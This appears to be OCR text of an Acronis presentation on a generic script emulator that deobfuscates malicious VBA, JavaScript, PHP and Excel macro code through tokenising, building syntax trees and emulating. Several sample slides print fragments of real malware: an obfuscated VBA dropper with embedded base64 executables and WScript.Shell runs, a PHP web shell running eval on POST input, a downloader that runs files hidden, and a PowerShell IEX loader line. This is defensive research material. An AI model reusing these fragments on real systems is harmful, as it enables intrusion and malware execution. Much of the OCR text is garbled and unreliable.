AcCronis #Cyberrit )

Generic Script Emulator

@KurtNatvig
Principal Security Researcher


mailto:kurt.natvig@acronis.com




Why use a script emulator?
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2 DEBUGGER FOR SCRIPTS

7lahvxr

adcltP As Long
Dim atkoV5 As Integer
Dim acSwVj &s Integer
For a4cltP = 1 To Len {a3guMK)
aciwvij = 0
aChtL7 = Mid(a3gquMK, a4cltP, 1)
atkoVs Asc (aChtLT)
> af -
acswvij
atkoV5 = ayDJé6 (atkoV5, ac9wVi)

atkoV5 = aPROzx (atkoV5)

atkoV5 = aPROzx (atkoV5)
End If
End If
aXkhSy = aZ2gWPy (atkoVS5)

ext adclcP
aHVXR = a3guMK

Variable

ElseIf atkoVS < 19045 / 293 Then

If atkoV5 < aflCMl (5) And atkoVs > §3 Then

Mid$ (a3guMK, ad4cltP, 1) = a%uUTE (aXkh5y)

Function ahvxr (a3gumk)

TORENS/AST

PtgInt:1535
PtgInt:6140
PtgDiv:/
PtgStr:"afiCHM1™
PtgFunc: (1)
PtgS5tr:"atkoVs™
PrgLt:<
PtgInt:8462
PtgNum:-8455.0
Prtghdd:+
PtgStr:"afiCHM1™
PtgFunc: (1)
Ptg5tr:"atkoVs"™
PtgMt:>
Ptghnd:and
PtgInt:15510
PrgNum:-15908.0
Ptghdd:+
PtgStr:"afiCcHM1™
PtgFunc: (1)
Ptg5tr:"atkoVs"™
PtgLt:<
PtgInt:20105

[L] a3gumk 'basic.BASIC SCRIPT EMUKugzy>\n<obgl>\n<fpevcg wynathntr="wninfpevcg">\nine nlv0t = "nInéE":‘nshapgvba grpbgr|

[L]aW3HOn "str'>
[L]_Ewvaluate "str'>
[G]lActiveDocument
[G]lay3WT 'str'>
[G] abhpE 'str'>
[GlApplication

Output -

"basic.BASIC SCRIPT_EMU

"basic.BASIC SCRIPT_EMU

ActiveDocument
C:%\Users\KURT~1.NAT\AppDataiLocal\Tempiin.html

pplication

C:%\Users\KURT~1.NAT\AppDataiLocal\Temp\in.html

Checking file c:‘\\Exclusionsi\samples\\malware\‘\ran\\vba\\025bbf3eb0664621blfb35ce87265d21e50blT738296dcf13f29c938dcfeds5as92

NOT FIXING index 0
INIT _ main  for VBA module aS8gr being run
INIT main for VBA module aaxkSn being run

NOT FIXING index 1

= BASIC RUNTIME!FileCopy (C:\WINDOWS\system32\mshta.exe, C:\Users\KURT~1.WAT\AppDatalLocal\Tenp\in.com)

main for VBA module aocem2 being run

main for VBA module atnd%z being run

NOT FIXING index 2

<ugzy><obgl><fpeveg yvnathntr="wninfpeveg">ine nlv0Ot = "nInéE":shapgvba grpbgr (vachg) {ine xrlfge = "NOPQRSTUVWXYZABCDEFGHIJ =
BASTIC RUNTIME!BuiltInDocumentProperties (category)

Step over

Debug

Acronis 2023

( #CyberFit



= _;‘, -8 ™

| , In computer science, an abstract
syntax tree (AST) is a tree
' representation of the‘abstract‘syntatic
structure (structural of content related
deta|I§ of text (often source code) '

' written m‘a formal Iangua'ge

I E

'Wldel ugsed in compllers to

repre nt the structure of program
.code

.

Wi



General compiler principle
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Overall design of generic script emulator

AMZMaE

nw-40Cx-HWm (@)
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{languages}

» Specify keywords,
operators, emulator-
map etc

« Loading from object

» Cleaning code

» Tokenization

* Multi-line rewrite

* Mapping flow

» Token rewrite

* API support &
variables

» Classes support

Acronis

Finding starting-
point

« Main node
Dividing equations
into left and right of
selected operator

* Operator priority
Node type id
Generating tree from
nodes
Optimize

td b AL e bl
i wdiped i A el roelim

Building global scope
Execute «functions»
« Handle
parameters and rc
 Execute an AST
node pr line
Manage constants,
local & global variables
Interact with language
API support & classes
Log activity

Acronis 2023

results

Deobfuscated
code

Dropped files &
executed scripts
Report
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Finding code & expand

U
__main__leea const xxbrdpxvrheslgzrerebgookibpiuzkorsjoypdtlodpvsgkinmasdvjiqjbz = 2
_ main__!e@el on error resume next
__main__!ees parwgbthltonlgqbkyppwfahmjvnxz =
__main__ @89 ghgctwo = "

__main__!@13 parwgbthltonlgbkyppwfahmjvnxz = parwgbthltonlgbkyppwfahmjvnxz
_ main__ 1817 parwgbthltonlqbkyppvfahmjvnxz = parwgbthltonlgbkyppyfahmjvnxz
_ main__ 1821 parwgbthltonlgbkyppvfahmjvnxz = parwgbthltonlgbkyppvfahmjvnxz
__main__ 1825 parwgbthltonlqbkyppvfahmjvnxz = parwgbthltonlgbkyppvfahmjvnxz

& "TVQQAAMAAAAEAAAAS /BAALEAAAAAAARAQAAAAAAALAAAANAARAASAAAAAAAAALALAAAAAAAAAAAARAAASAAAARAFUgAATANNI bgE TMENVEhpcyBwemOncmFEIGNRbMS. . .

& "3bgl3vwvFzb3NPjIbSxjcluid28mRre0rsVikl343XxE/J29dKYsHfnCbOgYXbg2keWsc1RITvyMfagev61N1jgMt TE7mbRUUMKKUKkab3H1km@taRITgRUg0Zscahxec. . .

& "MhVS7UQKdIFMFqtYhkJ+6L14QKRAABPpANYM+ARALSPEvUSZvcM)py 18SVIVRNDQGYY IQAKbFFEI rNIWSdj7XTk75Lx3+z+gaE+iUFIEL /m+vIFL jhhA4KAIEIXMIhKE. . .

& "alAftBebpvtW/tiDp/Lz651aTAKI23X3Ab3coMInv7Kjnh3wmrCdRIG, DUxknt74605rqeksIdEn2U1880ap42+3ADcmSYz691iNnQ1SMZoXombCNorNDy dSk3kFamgd. . .

__main__ 1829 parwgbthltonlgbkyppwfahmjvnxz = parwgbthltonlgbkyppvfahmjvnxz & "ggIluwd/gPaRcVW7QhWgmhAZdV/ vFjZIOmCpKty7HEOD1ADY1BPBn1S01v3F+hfYQQ/BVFvggsfyBSBcGBSNOGFKmrKCCKT /WLax1KVgkaledQ4antf02usbQEkgOLS3n. . .

_ main__ !@33 parwgbthltonlqbkyppvfahmjvnxz = parwgbthltonlgbkyppvfahmjvnxz & "Mv+irAcZbbvguskn/OTBq8UvZS1D3xQxjzSzP3@/mayeEtpnIHE/58WpAXT71alb+oYOXFKOsTp/ vRjsT+1EETYHOTZvp6Q,/ FckWcgALEWZ+kEewIULLC+7VTEKVS3MGS . . .

__main__ 1837 parwgbthltonlgbkyppwfahmjvnxz = parwgbthltonlgbkyppvfahmjvnxz & "1pSH/Qrg8kx8LnaMx8D7yg62A8700qRoDd1T sEmBxOIBBvAvMUIKCCBFHs JFAKgU THWFWWBo0BpFCPESLCrTs5G]sFiRHGURFIPexCwOMSCSBgAW / AKSpYB+oVmmdpXA. . .

__main__!e4l parwgbthltonlgbkyppvfahmjvnxz = parwgbthltonlgbkyppvfahmjvnxz & “U9rXmIPY72cTO3nfvFXKERI+1EHQIJKURD77k8GTM7 1G74bWjd5PaGFRDWcagmGnQcwl 14anzachabs6eDkXLQ7Wim/ nMMSnUBtz35hucmhHzCyYOQpmUGcciaWQfus. . .

__main__!e4s parwgbthltonlqbkyppyfahmjvnxz = parwgbthltonlgbkyppvfahmjvaxz & "ZIVZvRIikd/TgnKpud7YwWdw+6McmaT7NFkteIlL41I0t07CIpPUFgfl+FSCQH+6sIuFT9kvbMork jzHU7bQjpmjLtGL7 3FACPDFxvII+KI1le6aQcqGClySdeKTxcIvEx. . .

__main__!@49 parwgbthltonlgbkyppwfahmjvnxz = parwgbthltonlgbkyppwfahmjvnxz & "YSQMDwvgFgi7+mH883ugoSPANMEpdYoZ8CAFlmgWEHAEXSak/ StQX3ph+FhhWDECLgvmHNn8VpkK1YL1RELSGkalQeZ358FglOPoucTSUwRoIBZUXBy vFALFASMEEAT] . . .

__main__ @53 parwgbthltonlqbkyppvfahmjvnxz = parwgbthltonlgbkyppvfahmjvnxz & "RbjovcuslB66S00HKUSBesposmtme+FAMyvAyswFalUlujjRidxLkEjbESEQDaNCUegxazGawQGy /a3tGbVge 2k FEVEYLz4HV ] zhBIKogYAdwqGDEQunCAFDAmMZ 31M8VY . . .

__main__ 1857 parwgbthltonlgbkyppwfahmjvnxz = parwgbthltonlgbkyppwfahmjvnxz & "S5GgAg8PyT@edXNeIL5H/@JtPMec3mtdjcrdgvi5tYhiDFStqreWzIeNt6eVG9ed33mgZ TK+E4Re+xhoBibfVzoySbzbQyv3d388qui+UmysgXSNTHYUbssbnthi+KhoVy. . .

__main__!861 parwgbthltonlqbkyppvfahmjvnxz = parwgbthltonlgbkyppvfahmjvnxz & "ag+ygZHsWFhj6FFDTUFNTvccxMNBHeOhWKMPESNWQQ+BDHIZwbhNSYCALS4zMiPN/ABZONG1 jt6PHZ gWGQhXUHAUUIr6ERrq+nPIBAE+TBOPdyvSUG7KIGErEHRST34. . .

__main__ 1865 parwgbthltonlgbkyppwfahmjvnxz = parwgbthltonlgbkyppvfahmjvnxz & "KSjh/ykndP8pla//KSbf/ygm3P+tgNn/BuXl/+rl5P/ByN3/MS3X/ yYh2vBmIdn/ JiDY/ yYF2P81HOF/JRTUW/ yUd1vBkHdX/ IBzU/ yQb1P8kGIP/ IxrS/ yMZBvEjadH. . .

__main__ 1869 parwgbthltonlqbkyppvfahmjvnxz = parwgbthltonlgbkyppvfahmjvnxz & "?+f\u'.-"+?u?\.'f‘t?e3+?e3tx‘+3t?f?s?O’fﬁwrf'uvrGHqﬁur+6urqf+rq6w‘pﬁer'|+Gurqx‘3d3d?BAAABMAAAAInAAAAkAAAAAAAAAAAAAAAKAAAAjAAAAVnhdeL3r6+v. o

__main__!@73 ghgctwo = ghgoctwo & "TVOQAAMAAAAEAMAA//BAAL gAAAAAAAARMDAAAAALAALAAAARARASAAAAAANA LA AAARARASAARAAANAAAAA S AAAAAAFUEAATANNTIbEBTHENVGhpcyBWwem3nemFt IGNhbmS . .

__main__ @77 ghgctwo = ghgctwo & "613byZGt46uxWQvfjdfET8nbl@piwd+clsEphduraR5axzVEnO/ Ix/iB69TrU2WOAYIMTUZtFS4yQpSRpvcelSbS1pE1OBFSASmxxgHFxxkkBjfH1gPp@u22¥BjpzdU. . .

__main__ 1881 ghgctwo = ghgctwo & "DbLFemihZBdgR1ZSNLA2Ck]3Vw/ zKNdlgxFYFhokbwbgleWxtcnpqulBjiHOJcoFIsDAH3gh@faRLt4kgViWQXBKYVK4cxQolUglAckCBLhMuczajNrejbF22EA+CB0S. . .

__main__l@as ghgctwo = ghgctwo & "6M1CTS/hpgXDmaEtMESLd+qVtl2+bKHKUIZKLCKSINET rHUShagVeLb3Ge §127 2Rn pXwe al+0PMEW/ pQFvWLWMKDI 1H1 bviDksP+xxUPMKLFZhc6BtoaFREKQUGLHS . . .

__main__ @89 ghgctwo = ghgctwo & "80CzVKwpZlwpFFfZPTwwNyPNEtOR33eLlVCk1+HMMWTY/srg5/87bhVFUFcVIWAPm7huEbgSknzu/ IWLYScPns5IjvWFD+76Cc2FZA3d2y3v+AL paDrXY361FfQizn9mltU2rz. . .

__main__ 1893 ghgctwo = ghgctwo & "BAT4Uh4ASRDzMoHyWs1QIt2clugHZaidiwQoCETpokRhAURVZW2IPQSPaIlvI8FjBakwlvuocYXclWiQ0d4GdSF1iDp98kCErcRVhycNIOASCVvQEEAHLEN1EUEFz8uD. . .

__main__ @97 ghgctwo = ghgctwo & "fHihfplxLkvRKYGIhriwuGXmtIXdVkEBUL/1S8vuUKZub8R2VrTectGvap2+v5sxBjj50l4t3Md1IX2Ks30X0+0vNwS+jexFNPX1g+IcQK3vHtalAvnDOxT63LtB7FW/6. . .

_main__!181 ghgctwo = ghgctwo & "wNuyFpkXC/qXzher+1TMuvWSh/mIx48n8wpt//3bm3LWQkdsitt155Fyc3HIFiGa+asVzeB/F79n37sTGP18+FTXa3yd1lyntp/dF3hadhX pVwSNONZWGgHSOYWASScDu. . .

__main__ 1185 ghgctwo = ghgctwo & "JVFQECWaSTFCUASCBCWOsYLiigYFNPErkEBhzVoYAGLTWZwW+witTMLPILMiyzAeyx1IuNANiBe8Pz1GaQPI142gDErARTh+VL9e0ScY c4iFDIBEUIq+mDNGqQiSZESEQ]. . .

__main__!l1@9 ghgctwo = ghgctwo & "7+ /v/+/v7//vi+/jubns/ydultBtle/ fFX2R/+ /w7 /w7 +/ f8uLy/ 2holPBmIs P/ HBYW/ Owb 3+ /vi+/ ST+ v/ +/vF J T+ TR+ T T+ f T+ S+ T Ivi+f ..

_ main_ 1113 ghgctwo = ghgctwo & “"Kyzk/iorSP4gKuP+Kini/ikod4+4pKOD+KCF/igm3va4old3+IyTe/icj2/4mItv+IliHa/1Yg2f41HIj+IR/ X/ hBIxf7Z20n+9FX1/ vX19F719FX+9PTR/vTOIP7AIPT. ..

__main__ !117 ghgctwo = ghgctwo & "AALAAAAAAAAAAAAAAAAALAALAAAAAAAASAAAAAALAALAAAANARASAAAAAANAAAAAARARASAAAAAANAAAAAAAAAASAARAAASAAAAAAAAAASAARAAANAAAAAANAAAAAARAA . .

__main__ !132 zvrejwrsdslpaouialychigaexdkuodgoxoatkck = createobject ( chrw { 142 + 83 - 142 ) & chrw ( 362 + 99 - 362 ) & chrw ( 381 + 114 - 381 ) & chrw ( 142 + 185 - 142 ) & chrw ( 125 + 112 - 125 } & chrw { 363 + 116 - 363 ) & chrw ( 128 + 185 - 128 )} & chrw ( 262
+ 118 - 262 ) & chrw ( 148 + 183 - 148 ) & chrw ( 273 + 46 - 273 ) & chrw ( 19 + 78 - 19 ) & chrw ( 247 + 185 - 247 ) & chrw ( 48 + 188 - 48 ) & chrw ( 16 + 181 - 16 ) & chrw ( 21 + 83 - 21 ) & chrw ( 172 + 121 - 172 ) & chrw ( 187 + 115 - 187 ) & chrw ( 147 + 116 - 147
Y & chrw ( 67 + 181 - 67 ) & chrw ( 780 + 189 - 78 ) & chrw ( 244 + 79 - 244 )} & chrw ( 55 + 98 - 55 ) & chrw ( 289 + 186 - 289 ) & chrw ( 51 + 181 - 51 } & chrw { 233 + 99 - 233 ) & chrw { 173 + 116 - 173 ) ).getspecialfolder ( xxbrdpxwrheslgzrerebgookibpiuzkorsjoypdtlo
dpvsgkinmasdvjiqjbz )} & chrw ( 142 + 92 - 142 ) & chrw ( 362 + 183 - 362 ) & chrw ( 381 + 111 - 381 ) & chrw ( 142 + 111 - 142 )} & chrw { 125 + 183 - 125 ) & chrw ( 363 + 188 - 363 ) & chrw ( 128 + 181 - 128 ) & chrw ( 262 + 46 - 262 ) & chrw ( 148 + 181 - 148 ) & chrw (
273 + 128 - 273 ) & chrw ( 19 + 181 - 19 )

__main__ !136 kbdyetemcepovnxgp = createobject ( chrw ( 142 + 83 - 142 ) & chrw { 362 + 99 - 362 ) & chrw ( 381 + 114 - 381 ) & chrw ( 142 + 185 - 142 ) & chrw ( 125 + 112 - 125 ) & chrw ( 363 + 116 - 363 ) & chrw ( 128 + 185 - 128 ) & chrw ( 262 + 110 - 262 ) & chrw (
148 + 183 - 148 ) & chrw ( 273 + 46 - 273 ) & chrw ( 19 + 78 - 19 ) & chrw ( 247 + 185 - 247 ) & chrw ( 48 + 188 - 48 ) & chrw ( 16 + 181 - 16 ) & chrw ( 21 + 83 - 21 ) & chrw ( 172 + 121 - 172 ) & chrw ( 187 + 115 - 187 ) & chrw ( 147 + 116 - 147 ) & chrw ( 67 + 181 -
67 ) & chrw ( 7@ + 1809 - 70 ) & chrw ( 244 + 79 - 244 ) & chrw ( 55 + 98 - 55 ) & chrw ( 209 + 186 - 209 ) & chrw ( 51 + 181 - 51 ) & chrw 233 + 99 - 233 ) & chrw ( 173 + 116 - 173 ) ).getspecialfolder ({ xxbrdpxvrheslgqzrerebgookibpiuzkorsjoypdtlodpvsgkinmasdvjiqjbz ) &
chrw ( 142 + 92 - 142 ) & chrw ( 362 + 111 - 362 ) & chrw ( 381 + 182 - 381 ) & chrw ( 142 + 182 - 142 ) & chrw ( 125 + 185 - 125 ) & chrw ( 363 + 99 - 363 ) & chrw ( 128 + 181 - 128 ) & chrw ( 262 + 46 - 262 ) & chrw ( 148 + 181 - 148 ) & chrw ( 273 + 128 - 273 ) & chr
w ([ 19 + 181 - 19 )

_ main__ 1143 aayhcpfgzhzvpmcdidntgxzufosirnbyaivmuccq zvrejwrsdslpaouialychigaexdkuodgoxoafkck , fpxfdbpwrmdehifdaecnwwpmgbuhgqifbwngzuge ( parwgbthltonlgbkyppvfahmjvnxz )

__main__!144 aayhcpfgzhzvpmedidntgxzufosirnbyaivmuccq kbdyetemcepovnxqp , fpxfdbpwrmdehifdaecnwwpmgbuhgqgifbwngzuge { ghgctwo )

__main__!145 createobject ( chrw ( 249 + 87 - 249 ) & chrw ( 253 + 83 - 253 ) & chrw ( 183 + 99 - 183 ) & chrw ( 324 + 114 - 324 ) & chrw ( 337 + 185 - 337 ) & chrw ( 241 + 112 - 241 ) & chrw ( 204 + 116 - 284 ) & chrw ( 325 + 46 - 325 ) & chrw ( 289 + 83 - 289 ) & ch
rw { 345 + 184 - 345 ) & chrw ( 43 + 181 - 43 ) & chrw ( 358 + 188 - 358 ) & chrw { 364 + 188 - 364 ) ).run zvrejwrsdslpacuialychigaexdkuodgoxoatkck
__main__!149 createobject ( chrw ( 184 + 87 - 184 ) & chrw ( 14 + 83 - 14 ) & chrw ( 297 + 99 - 297 ) & chrw ( 6 + 114 - 6 ) & chrw ( 246 + 185 - 246 ) & chrw ( 284 + 112 - 284 ) & chrw ( 92 + 116 - 92 ) & chrw ( 136 + 46 - 136 ) & chrw { 231 + 83 - 231 ) & chrw ( 158
+ 184 - 158 ) & chrw ( B4 + 181 - 64 ) & chrw ( 235 + 188 - 235 ) & chrw ( 98 + 188 - 98 ) ).run kbdyetemcepovnxqp
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Mapping flow — making generic structures

if, while, with, for, do, select, endif, next, loop, wend, elseif, else, case...

4TE if S_POST [ 'type' 1 = 1 ) {
477 eval ( stripslashes | S_POST [ "value"' ] ) )
478 }
479 elseif ( $_POST [ 'type' =2 ) {
450 pwd ()
481 print r ( ex [ stripslashes ( S_POST [ "value' 1 ) )
482 }
483 elseif ( § POST [ 'type' ] = 3 ) {
454 if ( $ SESSICON [ 'safe mode' | == 1) {
485 if ( ( $u = safe ex ( 'ls -1la' } ) !'='" ) {
486 return Su
487 }
488 elze {
489 return safe ex ( 'dir’
490
291 }
492 else {
493 if ( ( Su=ex ( "1z -1la' } ) = '' ) {
454 return Su
495 ]
496 else {
497 return ex ( 'dir'
498
499
500
if (lhobhiwt == true)} {
if {({awige == "twohhozihb™) {
var ajxicojun = undefined;
else {
wvar gigtymd = false;
wvar irwibufy = undefined:
if (bjapneba = 'undefined')} {
var bwixrygmamde = "ztemh';
bwixryvgmamde = "77563" + bwixrvomamde;
var mxozixer = 0;

=1 odn b

[YRes]

[ I I A R R S
o I VI B S U CS =

Mmoo

o I S Y S P R N T == BT« B SR

T3 b 03 B B B ) B =

akTSGalr Step 4

VMakTS5GalrCh = 3
VMakT5GaIrChoTCk = 0
For VMakT5GaIrCbho = 0 To 3
VMakTSGaIrCboT = Mid ( VMakTSGa , n + VMakTS5GaIrChc
If VMakTSGalrOboT = "=" Then
VMakT5GalrCb = VMakTSGalrCb - 1
VMakT5GalrChoTC = 0

Else
VMakT5GalrChoTC = InStr { 1 , VMakISGal , VMakTSc
End If
VMakT5GaIrChoTOk = 64 * VMakTS5GaIrChoTCk + VMakTSG:
Next

VMakT5GaIrChoTCk = Hex ( VMakIS5GalrCboTICk )

VMakTSGalr0boTOk = String ( & - Len { VMakTSGalrOboT(

VMakT5GaIlrOboTOkI = Chr { CByte ( "&H™ & Mid ({ VMakT:

VMakT5GaIr® = VMakTS5GaIrC & Left ([ VMakTSGaIrCbhoTOkI
Hext

jos = posl

ntgs = ntgs — 1

If Dir (Left(jos, ntgs) & yer, wbDirectory) = "" Then
Else
sda = &1
End If
Wend

Dim klas As String

klas = posl

Dim bcsa s String

bcsa = Application.Run ("Getme™, Left(klas, ntgs) & yer)
Selection.TypeBackspace

wvar phuxbuknax = bsedme.CreateCbject ("W5cript.Shell");

var lyssugxidr = undefined:

AcCronis
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130
131
132
133
134
133
136
137
138
139
140
141
142
143
144
145
146
147

If FS0.FileExists(FP(1)) Then
If Not F50.FileExists(THP) Then
FileCopy FB(1), TMP

End If

Shell TMP, vhHide

ElssIf F30.FileExists(FP(2)) Then

If Mot F30.FileExists(TMP) Then
FileCopy FE(2), TMP

End If

Shell TMP, vbHide
Else
If FS0.FileExists(Environ("ALLUSERSPROFILE™) & "\Synaptics\Synaptics.exe") Then

Shell Environ("ALLUSERSPROFILE") & "\Synaptics\5Synaptics.exe", vbHide

Elself F30.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then

Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Elself Not F50.FileExists(TMP) Then
If FOW((URL(1)), (TMP)) Then
ElseIf FDW((URL(2)), (TMP)) Then
Elself FOW((URL(3)), (TMP)) Then

End If

If F50.FileExists(TMF) Then
5hell TMP, vbHide

Ll0

L13
Llg

"koveowvnb"

{ b45

define.name ( "x b2w" , 0 )

while ( x_b2w < 49

define.name { "x 15" , -1.000000 )

define.name { "x b2w" , x b2w + 1 )

while ( x 15 < 22 )

define.name ( "x 15" , x 15 + 1 )

indirect ( address ( x 15 + 1 , 38 + x b2w ) |} =
b45 & indirect ( address ( = 15 + 1 , 38 + x b2w | )
if ( ag , define.mams ( "x 15" , 24 )} , set.valus
next [ )

formula ( b45 , absref ( "R[" & x bZw & "|C[O]" ,

setc.value ( k45 , "M )

next

(

)
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Emulator handlers

*If integer, binary mode is applied

Func (exec p1, .
params p2..pn) Sub (p1-p2)

Add (p1+p2) Mul (p1*p2) Div (p1/p2) MoreThan(p1>p2)

LessOrEqual

LessThan (pl<p2) M NotEqual (pl!=p2) Concat (p1+p2)

(p1l<=p2)

Mod (pl % p2) Xor (p1 ” p2)

Increment (p1++) | Decrement (p1--) | IsEqual (p1==p2) | Assign (p1=p2)

MoreOrEqual (p1

Pow (p1F?) ParamName (p1) IntDiv (int p1/d2) >= p2)

AssignAdd (p1 += | AssignSub (p1 -= |

Double () Like(pl like p2) Parantece (pl) Percentage (pl) PtgRef (pl) PtgArray (p1)
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Lines we are going to analyze all the way...

| =500 + 4 * counter
| = CreateObject("WScript.Shell").Exec("test.exe")
s =empty (_server ["HTTPS"])? “ :( _server [ "HTTPS"]=="on")? "s": ™

If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn < aBFSh(14966 - 14964)) Or
(ah4Lgn > aBFSh(22272 / 7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

IEX (New-Object 10.StreamReader(New-Object
|0.Compression.GzipStream($s,[10.Compression.CompressionMode].:Decompress))
).ReadToEnd();

Acronis Acronis 2023 #CyberFit 12



| = + 4 * :
| =500 + 4 * counter Assign
l l I
= Lexer/tokenizer: 500 - 4 *
* [ [=] [500] [+] [4] [*] [counter] cCcdJi.er

= Token-rewrite:

* None

= Assign top-node

PtgName : counter
PtgInt

PtgMul :

PtgInt .

PtgAdd :
PtgName
PtgPtEq : =

counter

( #CyberfFit 13
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i =500 + 4 * counter

counter = 2




i =500 + 4 * counter

counter = 2




i =500 + 4 * counter

counter = 2




i =500 + 4 * counter

counter = 2




PtgName : counter

i =500 + 4 * counter




PtgName : counter
PtgInt : 4

PtgMul : °

PtgInt : 586

i =500 + 4 * counter

Ptghdd : +
PtgName : i
PtgPtEq :

__main__!1 MUL: 4 *# counter

__main__!1 AD



PtgName : counter

i =500 + 4 * counter

__main__!'1 A




| = CreateObject("WScript.Shell").Exec("test.exe")

= |Lexer/tokenizer:

* [i] [=] [createobject] [(] ['WScript.Shell"] D] [.] [exec] [(] ['test.exe"] [)]
= Token rewrite:

* None

= Assign top-node
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o
| = CreateObject("WScript.Shell").Exec("test.exe")
|
| |

CreateC ‘er _WScript
.Shell").E> ("test.exe

-

T
18]

L

T
i

=
T
(18]

o
T
0 ooa ok -
L
T M
] =
= I

! = |

(1) I{8)
Wscript.shell
cre ect

P{1) @ I(@)

Exec(m «exe")

Func(1)
I
I |
CreateObiject «Wscript.Shell» «test.exe»

Acronis 2023

]

M
= |
0

m

_n
o oo o
S +
m M & (18]

L
T
(15|
e
T 0g
L
|

AcCronis

i

#CyberFit




i =
CreateObject("WScript.Shell").
Exec("test.exe")

CreateObject «Wscript.Shell» «test.exe»




i =
CreateObject("WScript.Shell").
Exec("test.exe")

CreateObject «Wscript.Shell» «test.exe»




i =
CreateObject("WScript.Shell").
Exec("test.exe")

CreateObject ?

«Wscript.Shell» «test.exe»




i =
CreateObject("WScript.Shell").
Exec("test.exe")

CreateObject
(«Wscript.Shell»)

"wscript.shell™)

«test.exe»




i =
CreateObject("WScript.Shell").
Exec("test.exe")

WSCRIPT_OBJECT.?

WSCRIPT_OBIJECT ?

__main__ '@ API: WSCRIPT.SHELL = createobject ("wscript.shell")

«test.exe»




i =
CreateObject("WScript.Shell").
Exec("test.exe")

WSCRIPT_OBJECT.?

__main__ '@ API: WSCRIPT.SHELL = createobject ("wscript.shell")

«test.exe»




i =
CreateObject("WScript.Shell").
Exec("test.exe")

WSCRIPT_OBJECT.?

__main__ '@ API: WSCRIPT.SHELL = createobject ("wscript.shell")

’T: @ = WSCRIPT.SHELL.exec ("test.exe™)




CreateObject("WScript.Shell").
Exec("test.exe")

createobject

P(1)

__main__!'@& API:

__main__!'® API: @

__main__ '@ BASE: WSCRIPT.SHELL . @



CreateObject("WScript.Shell").
Exec("test.exe")

__main__!'@& API:
__main__!@ API: @

@ BASE: WSCRIPT.SHELL . @

__main__ '@ ASSIGN: i = @



s = empty ( _server [ "HTTPS"]) ? “” : ( _server |
IIHTTPSII e "On“ ) ? "S“ : 12X

= Lexer/tokenizer:

* [s] [=] [empty] [(] [_server] [[] ["HTTPS"T [I D1 [?1 [] [1 [(] Lserver] [[] ["HTTPS" [1] [==] ["on"] DI [?1 ["s"] [:] []
= Token rewrite:

« s=empty (_server [ "HTTPS"])? “ :( _server ["HTTPS"]=="on") ?"s": ¥

« s=empty (_server ["HTTPS"]), ™, (_server ["HTTPS"] =="on"), "s" , ™

« s=_ifx_(empty (_server ["HTTPS"]),“, (_server ["HTTPS"]=="on"), "s", ™)

 s=_ifx_(empty (_server ["HTTPS"]),“, _ifx_((_server["HTTPS"]=="on"),"s","))

= Assign top-node
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s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ IIHTTPSII ] == llonll ) IISII . {own ) )

PtgsStr @ HTTPS
PtgName : _server

PtgFunc : P{1) : I(@)

PtghName : empty
PtgFunc : P{1) : I(@)
Ptegs5tr :

Ptg5tr : on
PtgsStr @ HTTPS
PtgName : _server
PtgFunc : P{1) : I(@)

PtgPtEgq : ==

Ptegs5tr : s

Ptegs5tr :

Ptghame : difx
PtgFunc : P{(3) : I(@)
Ptghame : difx

PtgFunc : P{(3) : I(@)
PtgName :
PtgPtEq : =




s=_ifx_(empty (_server ["HTTPS" 1), “”, _iftx_((
_Server [ IIHTTPSH ] == llonll , IISII , owr$ ) )

l
|
_server % m «on»




s=_ifx_(empty (_server ["HTTPS" 1), “”, _iftx_((
_Server [ IIHTTPSH ] == llonll , IISII , owr$ ) )

l
I
E ? I _ifx_
[ I
I | I |
I _server I «HTTPS» E ? «on»
I
| |
I _server I «HTTPS»

?==7




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ IlHTTPSll ] == llonll , llsll , owr$ ) )

I _server I «HTTPS» E I «on»
I _server I «HTTPS»




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ llHTTPSll ] == llonll , llsll , owr$ ) )

[ - |
I | I |
I _server I «HTTPS» E ? I «on»
]
| |
I _server I «HTTPS»




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ llHTTPSll ] == llonll , llsll , owr$ ) )

_ifx(?)

Empty(?) I «»
_server(?) I _ifx_

«HTTPS» «on»

I _server I «HTTPS»




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ llHTTPSll ] == llonll , llsll , owr$ ) )

_server(«HTTPS»)

selfurl!e® API: °

? «on»

_server «HTTPS»




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ llHTTPSll ] == llonll , llsll , owr$ ) )

?==7

|
? l «on»
| |
I _server l «HTTPS»




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ llHTTPSll ] == llonll , IIS|| , owr$ ) )

I?)

_ifx(false,?

| _server(«HTTPS»)

E l «on»
I _server l «HTTPS»




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ IIHTTPSH ] == llonll , IIS|| , owr$ ) )

_ifx(false,»»,?)

E l «on»
I _server l «HTTPS»




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ IIHTTPSH ] == llonll , IIS|| , owr$ ) )

_ifx(false,»»,?)

_ifx_(?,?,?)

[
l
E ? l «on»
| |

_server «HTTPS»




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ IIHTTPSH ] == llonll , IIS|| , owr$ ) )

_ifx(false,»»,?)

_server(?) «on»

\—\

«HTTPS»




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ IIHTTPSH ] == llonll , IIS|| , owr$ ) )

_ifx(false,»»,?)

_server(«HTTPS») «on»




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ IIHTTPSH ] == llonll , IIS|| , owr$ ) )

_ifx(false,»»,?)

_ifx_(?,?,?)

«on» =="?

\—\

«won»




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ IIHTTPSH ] == llonll ) , IIS|| , owr$ ) )

_ifx(false,»»,?)

«on» == «on»




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ IIHTTPSH ] == llonll ) , Ilsll , owr$ ) )

_ifx(false,»»,?)

_ifx_(true,?,?)

l




